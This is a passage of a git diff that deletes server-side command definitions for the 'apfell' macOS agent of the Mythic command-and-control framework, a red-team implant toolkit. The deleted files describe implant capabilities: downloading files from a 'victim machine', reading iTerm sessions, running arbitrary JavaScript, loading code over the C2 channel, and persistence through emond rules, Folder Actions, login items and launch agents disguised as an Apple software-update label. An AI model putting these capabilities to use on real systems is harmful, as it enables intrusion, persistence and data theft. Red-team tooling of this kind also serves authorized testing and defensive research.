- async def create_tasking(self, task: MythicTask) -> MythicTask:
- if task.args.get_arg("method") == "jxa":
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="Target Application of System Events",
- artifact_type="AppleEvent Sent",
- )
- else:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="NSUserName, NSFullUserName, NSHomeDirectory",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/download.py b/Payload_Types/apfell/mythic/agent_functions/download.py
deleted file mode 100644
index fcfff9bf3..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/download.py
+++ /dev/null
@@ -1,49 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class DownloadArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- temp_json = json.loads(self.command_line)
- if "host" in temp_json:
- # this means we have tasking from the file browser rather than the popup UI
- # the apfell agent doesn't currently have the ability to do _remote_ listings, so we ignore it
- self.command_line = temp_json["path"] + "/" + temp_json["file"]
- else:
- raise Exception("Unsupported JSON")
-
-
-class DownloadCommand(CommandBase):
- cmd = "download"
- needs_admin = False
- help_cmd = "download {path to remote file}"
- description = "Download a file from the victim machine to the Mythic server in chunks (no need for quotes in the path)."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = True
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- parameters = []
- attackmapping = ["T1020", "T1030", "T1041"]
- argument_class = DownloadArguments
- browser_script = BrowserScript(script_name="download", author="@its_a_feature_")
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="$.NSFileHandle.fileHandleForReadingAtPath, readDataOfLength",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/exit.py b/Payload_Types/apfell/mythic/agent_functions/exit.py
deleted file mode 100644
index 9ed3273f3..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/exit.py
+++ /dev/null
@@ -1,39 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class ExitArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class ExitCommand(CommandBase):
- cmd = "exit"
- needs_admin = False
- help_cmd = "exit"
- description = "This exits the current apfell agent by leveraging the ObjectiveC bridge's NSApplication terminate function."
- version = 1
- is_exit = True
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = []
- argument_class = ExitArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="$.NSApplication.sharedApplication.terminate",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/get_config.py b/Payload_Types/apfell/mythic/agent_functions/get_config.py
deleted file mode 100644
index 049600e50..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/get_config.py
+++ /dev/null
@@ -1,39 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class GetConfigArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class GetConfigCommand(CommandBase):
- cmd = "get_config"
- needs_admin = False
- help_cmd = "get_config"
- description = "Gets the current running config via the C2 class"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1082"]
- argument_class = GetConfigArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="$.NSProcessInfo.processInfo.*, $.NSHost.currentHost.*",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/hostname.py b/Payload_Types/apfell/mythic/agent_functions/hostname.py
deleted file mode 100644
index 52c6ed543..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/hostname.py
+++ /dev/null
@@ -1,39 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class HostnameArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class HostnameCommand(CommandBase):
- cmd = "hostname"
- needs_admin = False
- help_cmd = "hostname"
- description = "Get the various hostnames associated with the host, including the NETBIOS name if the computer is domain joined"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = []
- argument_class = HostnameArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="$.NSHost.currentHost.names",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/ifconfig.py b/Payload_Types/apfell/mythic/agent_functions/ifconfig.py
deleted file mode 100644
index 873f3e4d7..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/ifconfig.py
+++ /dev/null
@@ -1,39 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class IfconfigArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class IfconfigCommand(CommandBase):
- cmd = "ifconfig"
- needs_admin = False
- help_cmd = "ifconfig"
- description = "Return all the IP addresses associated with the host"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = []
- argument_class = IfconfigArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="$.NSHost.currentHost.addresses",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/iterm.py b/Payload_Types/apfell/mythic/agent_functions/iterm.py
deleted file mode 100644
index 8bbe8ee36..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/iterm.py
+++ /dev/null
@@ -1,39 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class ITermArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class ITermCommand(CommandBase):
- cmd = "iTerm"
- needs_admin = False
- help_cmd = "iTerm"
- description = "Read the contents of all open iTerm tabs if iTerms is open, otherwise just inform the operator that it's not currently running"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1139", "T1056"]
- argument_class = ITermArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="Target Application of iTerm",
- artifact_type="AppleEvent Sent",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/jscript.py b/Payload_Types/apfell/mythic/agent_functions/jscript.py
deleted file mode 100644
index 4929ad07a..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/jscript.py
+++ /dev/null
@@ -1,47 +0,0 @@
-from CommandBase import *
-import json
-
-
-class JscriptArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "command": CommandParameter(
- name="command",
- type=ParameterType.String,
- description="The JXA command to execute",
- )
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- self.add_arg("command", self.command_line)
- else:
- raise ValueError("Missing arguments")
- pass
-
-
-class JscriptCommand(CommandBase):
- cmd = "jscript"
- needs_admin = False
- help_cmd = "jscript {command}"
- description = "This runs the JavaScript command, {command}, and returns its output via an eval(). The output will get passed through ObjC.deepUnwrap to parse out basic data types from ObjectiveC and get strings back"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1064"]
- argument_class = JscriptArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/jsimport.py b/Payload_Types/apfell/mythic/agent_functions/jsimport.py
deleted file mode 100644
index 758380008..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/jsimport.py
+++ /dev/null
@@ -1,58 +0,0 @@
-from CommandBase import *
-from MythicFileRPC import *
-import json
-
-
-class JsimportArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "file": CommandParameter(
- name="file",
- type=ParameterType.File,
- description="Select a JXA file to upload",
- )
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("Missing JSON arguments")
- else:
- raise ValueError("Missing arguments")
- pass
-
-
-class JsimportCommand(CommandBase):
- cmd = "jsimport"
- needs_admin = False
- help_cmd = "jsimport"
- description = "import a JXA file into memory. Only one can be imported at a time."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = []
- argument_class = JsimportArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- original_file_name = json.loads(task.original_params)["file"]
- response = await MythicFileRPC(task).register_file(
- file=task.args.get_arg("file"),
- saved_file_name=original_file_name,
- delete_after_fetch=True,
- )
- if response.status == MythicStatus.Success:
- task.args.add_arg("file", response.agent_file_id)
- else:
- raise Exception("Error from Mythic: " + response.error_message)
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/jsimport_call.py b/Payload_Types/apfell/mythic/agent_functions/jsimport_call.py
deleted file mode 100644
index 104cc9c19..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/jsimport_call.py
+++ /dev/null
@@ -1,47 +0,0 @@
-from CommandBase import *
-import json
-
-
-class JsimportCallArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "command": CommandParameter(
- name="command",
- type=ParameterType.String,
- description="The command to execute within a file loaded via jsimport",
- )
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- self.add_arg("command", self.command_line)
- else:
- raise ValueError("Missing arguments")
- pass
-
-
-class JsimportCallCommand(CommandBase):
- cmd = "jsimport_call"
- needs_admin = False
- help_cmd = "jsimport_call function_call();"
- description = "call a function from within the JS file that was imported with 'jsimport'. This function call is appended to the end of the jsimport code and called via eval."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1155", "T1064"]
- argument_class = JsimportCallArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/launchapp.py b/Payload_Types/apfell/mythic/agent_functions/launchapp.py
deleted file mode 100644
index 9db225720..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/launchapp.py
+++ /dev/null
@@ -1,54 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class LaunchAppArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "bundle": CommandParameter(
- name="bundle",
- type=ParameterType.String,
- description="The Bundle name to launch",
- )
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- self.add_arg("bundle", self.command_line)
- else:
- raise ValueError("Missing arguments")
- pass
-
-
-class LaunchAppCommand(CommandBase):
- cmd = "launchapp"
- needs_admin = False
- help_cmd = "launchapp {bundle name}"
- description = "This uses the Objective C bridge to launch the specified app asynchronously and 'hidden' (it'll still show up in the dock for now). An example of the bundle name is 'com.apple.itunes' for launching iTunes."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = []
- argument_class = LaunchAppArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="xpcproxy {}".format(
- task.args.get_arg("bundle"),
- ),
- artifact_type="Process Create",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/list_apps.py b/Payload_Types/apfell/mythic/agent_functions/list_apps.py
deleted file mode 100644
index 70215cf3d..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/list_apps.py
+++ /dev/null
@@ -1,40 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class ListAppsArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class ListAppsCommand(CommandBase):
- cmd = "list_apps"
- needs_admin = False
- help_cmd = "list_apps"
- description = "This uses NSApplication.RunningApplications api to get information about running applications."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = True
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1057"]
- argument_class = ListAppsArguments
- browser_script = BrowserScript(script_name="list_apps", author="@its_a_feature_")
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="$.NSWorkspace.sharedWorkspace.runningApplications",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/list_users.py b/Payload_Types/apfell/mythic/agent_functions/list_users.py
deleted file mode 100644
index 96042dfe0..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/list_users.py
+++ /dev/null
@@ -1,67 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class ListUsersArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "gid": CommandParameter(
- name="gid",
- type=ParameterType.Number,
- required=False,
- default_value=-1,
- description="Enumerate users in a specific group or -1 for all groups",
- ),
- "groups": CommandParameter(
- name="groups",
- type=ParameterType.Boolean,
- required=False,
- default_value=False,
- description="Enumerate groups and their members ",
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("Missing JSON arguments")
- else:
- raise ValueError("Missing arguments")
- pass
-
-
-class ListUsersCommand(CommandBase):
- cmd = "list_users"
- needs_admin = False
- help_cmd = 'list_users'
- description = "This uses JXA to list the non-service user accounts on the system. You can specify a GID to look at the users of a certain group or you can specify 'groups' to be true and enumerate users by groups"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1087", "T1069"]
- argument_class = ListUsersArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- if task.args.get_arg("gid") < 0:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="$.CSGetLocalIdentityAuthority, $.CSIdentityQueryCreate, $.CSIdentityQueryExecute",
- artifact_type="API Called",
- )
- else:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="$.CBIdentityAuthority.defaultIdentityAuthority, $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/load.py b/Payload_Types/apfell/mythic/agent_functions/load.py
deleted file mode 100644
index 132f434b4..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/load.py
+++ /dev/null
@@ -1,54 +0,0 @@
-from CommandBase import *
-import json
-from MythicFileRPC import *
-
-
-class LoadArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- if len(self.command_line) == 0:
- raise ValueError("Need to specify commands to load")
- pass
-
-
-class LoadCommand(CommandBase):
- cmd = "load"
- needs_admin = False
- help_cmd = "load cmd1 cmd2 cmd3..."
- description = "This loads new functions into memory via the C2 channel."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- parameters = []
- attackmapping = ["T1030", "T1129"]
- argument_class = LoadArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- total_code = ""
- for cmd in task.args.command_line.split(" "):
- cmd = cmd.strip()
- try:
- code_path = self.agent_code_path / "{}.js".format(cmd)
- total_code += open(code_path, "r").read() + "\n"
- except Exception as e:
- raise Exception("Failed to find code for '{}'".format(cmd))
- resp = await MythicFileRPC(task).register_file(
- total_code.encode(), delete_after_fetch=True
- )
- if resp.status == MythicStatus.Success:
- task.args.add_arg("file_id", resp.agent_file_id)
- task.args.add_arg("cmds", task.args.command_line)
- else:
- raise Exception("Failed to register file: " + resp.error_message)
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/ls.py b/Payload_Types/apfell/mythic/agent_functions/ls.py
deleted file mode 100644
index 9cc2c5f34..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/ls.py
+++ /dev/null
@@ -1,58 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class LsArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "path": CommandParameter(
- name="path",
- type=ParameterType.String,
- default_value=".",
- description="Path of file or folder on the current system to list",
- )
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- temp_json = json.loads(self.command_line)
- if "host" in temp_json:
- # this means we have tasking from the file browser rather than the popup UI
- # the apfell agent doesn't currently have the ability to do _remote_ listings, so we ignore it
- self.add_arg("path", temp_json["path"] + "/" + temp_json["file"])
- self.add_arg("file_browser", "true")
- else:
- self.add_arg("path", temp_json["path"])
- else:
- self.add_arg("path", self.command_line)
-
-
-class LsCommand(CommandBase):
- cmd = "ls"
- needs_admin = False
- help_cmd = "ls /path/to/file"
- description = "Get attributes about a file and display it to the user via API calls. No need for quotes and relative paths are fine"
- version = 1
- is_exit = False
- is_file_browse = True
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1106", "T1083"]
- argument_class = LsArguments
- browser_script = BrowserScript(script_name="ls", author="@its_a_feature_")
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="fileManager.attributesOfItemAtPathError, fileManager.contentsOfDirectoryAtPathError",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/persist_emond.py b/Payload_Types/apfell/mythic/agent_functions/persist_emond.py
deleted file mode 100644
index e59761615..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/persist_emond.py
+++ /dev/null
@@ -1,69 +0,0 @@
-from CommandBase import *
-import json
-
-
-class PersistEmondArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "rule_name": CommandParameter(
- name="rule_name",
- type=ParameterType.String,
- description="Rule name for inside of the plist",
- ),
- "payload_type": CommandParameter(
- name="payload_type",
- type=ParameterType.ChooseOne,
- choices=["oneliner-jxa", "custom_bash-c"],
- ),
- "url": CommandParameter(
- name="url",
- type=ParameterType.String,
- description="url of payload for oneliner-jxa for download cradle",
- required=False,
- ),
- "command": CommandParameter(
- name="command",
- type=ParameterType.String,
- required=False,
- description="Command if type is custom_bash-c to execute via /bin/bash -c",
- ),
- "file_name": CommandParameter(
- name="file_name",
- type=ParameterType.String,
- description="Name of plist in /etc/emond.d/rules/",
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("missing JSON arguments")
- else:
- raise ValueError("Missing arguments")
- pass
-
-
-class PersistEmondCommand(CommandBase):
- cmd = "persist_emond"
- needs_admin = False
- help_cmd = "persist_emond"
- description = "Create persistence with an emond plist file in /etc/emond.d/rules/ and a .DS_Store file to trigger it"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1150"]
- argument_class = PersistEmondArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/persist_folderaction.py b/Payload_Types/apfell/mythic/agent_functions/persist_folderaction.py
deleted file mode 100644
index c77aa4662..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/persist_folderaction.py
+++ /dev/null
@@ -1,74 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class PersistFolderactionArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "code": CommandParameter(
- name="code",
- type=ParameterType.String,
- description="osascript code",
- required=False,
- ),
- "url": CommandParameter(
- name="url",
- required=False,
- type=ParameterType.String,
- description="http://url.of.host/payload",
- ),
- "folder": CommandParameter(
- name="folder",
- type=ParameterType.String,
- description="/path/to/folder/to/watch",
- ),
- "script_path": CommandParameter(
- name="script_path",
- type=ParameterType.String,
- description="/path/to/script/to/create/on/disk",
- ),
- "language": CommandParameter(
- name="language",
- type=ParameterType.ChooseOne,
- choices=["JavaScript", "AppleScript"],
- description="If supplying custom 'code', this is the language",
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("Missing JSON argument")
- else:
- raise ValueError("Missing arguments")
-
-
-class PersistFolderactionCommand(CommandBase):
- cmd = "persist_folderaction"
- needs_admin = False
- help_cmd = "persist_folderaction"
- description = "Use Folder Actions to persist a compiled script on disk. You can either specify a 'URL' and automatically do a backgrounding one-liner, or supply your own code and language."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = []
- argument_class = PersistFolderactionArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="Target Application of System Events",
- artifact_type="AppleEvent Sent",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/persist_launch.py b/Payload_Types/apfell/mythic/agent_functions/persist_launch.py
deleted file mode 100644
index c6884cbbc..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/persist_launch.py
+++ /dev/null
@@ -1,76 +0,0 @@
-from CommandBase import *
-import json
-
-
-class PersistLaunchArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "args": CommandParameter(
- name="args",
- type=ParameterType.Array,
- description="List of arguments to execute in the ProgramArguments section of the PLIST",
- ),
- "KeepAlive": CommandParameter(
- name="KeepAlive",
- type=ParameterType.Boolean,
- default_value=True,
- description="Restart the persistence if it crashes for some reason",
- ),
- "label": CommandParameter(
- name="label",
- type=ParameterType.String,
- default_value="com.apple.softwareupdateagent",
- description="The label for the launch element",
- ),
- "LaunchPath": CommandParameter(
- name="LaunchPath",
- type=ParameterType.String,
- required=False,
- description="Path to save new plist to if LocalAgent is false",
- ),
- "LocalAgent": CommandParameter(
- name="LocalAgent",
- type=ParameterType.Boolean,
- default_value=True,
- description="Should be a local user launch agent?",
- ),
- "RunAtLoad": CommandParameter(
- name="RunAtLoad",
- type=ParameterType.Boolean,
- default_value=True,
- description="Should the launch element be executed at load",
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("Missing JSON arguments")
- else:
- raise ValueError("Missing arguments")
-
-
-class PersistLaunchCommand(CommandBase):
- cmd = "persist_launch"
- needs_admin = False
- help_cmd = "persist_launch"
- description = "Create a launch agent or daemon plist file and either automatically put it in ~/Library/LaunchAgents or if LocalAgent is false, save it to the specified location. If you want an elevated launch agent or launch daemon( /Library/LaunchAgents or /Library/LaunchDaemons), you either need to be in an elevated context already and specify the path or use something like shell_elevated to copy it there. If the first arg is 'apfell-jxa' then the agent will automatically construct a plist appropriate oneliner to use where arg1 should be the URL to reach out to for the payload."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1159", "T1160"]
- argument_class = PersistLaunchArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/persist_loginitem_allusers.py b/Payload_Types/apfell/mythic/agent_functions/persist_loginitem_allusers.py
deleted file mode 100644
index 28fed1153..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/persist_loginitem_allusers.py
+++ /dev/null
@@ -1,56 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class PersistLoginItemAllUsersArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "path": CommandParameter(
- name="path",
- type=ParameterType.String,
- description="path to binary to execute on execution",
- ),
- "name": CommandParameter(
- name="name",
- type=ParameterType.String,
- description="The name that is displayed in the Login Items section of the Users & Groups preferences pane",
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("Missing JSON arguments")
- else:
- raise ValueError("Missing arguments")
-
-
-class PersistLoginItemAllUsersCommand(CommandBase):
- cmd = "persist_loginitem_allusers"
- needs_admin = False
- help_cmd = "persist_loginitem_allusers"
- description = "Add a login item for all users via the LSSharedFileListInsertItemURL. The kLSSharedFileListGlobalLoginItems constant is used when creating the shared list in the LSSharedFileListCreate function. Before calling LSSharedFileListInsertItemURL, AuthorizationCreate is called to obtain the necessary rights. If the current user is not an administrator, the LSSharedFileListInsertItemURL function will fail"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- attackmapping = []
- argument_class = PersistLoginItemAllUsersArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="$.LSSharedFileListCreate, $.LSSharedFileListSetAuthorization, $.LSSharedFileListInsertItemURL",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/plist.py b/Payload_Types/apfell/mythic/agent_functions/plist.py
deleted file mode 100644
index 69367a1cd..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/plist.py
+++ /dev/null
@@ -1,59 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class PlistArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "filename": CommandParameter(
- name="filename",
- type=ParameterType.String,
- required=False,
- description="full filename path of type is just read",
- ),
- "type": CommandParameter(
- name="type",
- type=ParameterType.ChooseOne,
- choices=["readLaunchAgents", "readLaunchDaemons", "read"],
- description="read a specific plist file or all launchagents/launchdaemons",
- default_value="readLaunchAgents",
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("Missing JSON arguments")
- else:
- raise ValueError("Missing arguments")
-
-
-class PlistCommand(CommandBase):
- cmd = "plist"
- needs_admin = False
- help_cmd = "plist"
- description = "Read plists and their associated attributes for attempts to privilege escalate."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1083", "T1007"]
- argument_class = PlistArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="$.NSMutableDictionary.alloc.initWithContentsOfFile, fileManager.attributesOfItemAtPathError",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/prompt.py b/Payload_Types/apfell/mythic/agent_functions/prompt.py
deleted file mode 100644
index 5856d8743..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/prompt.py
+++ /dev/null
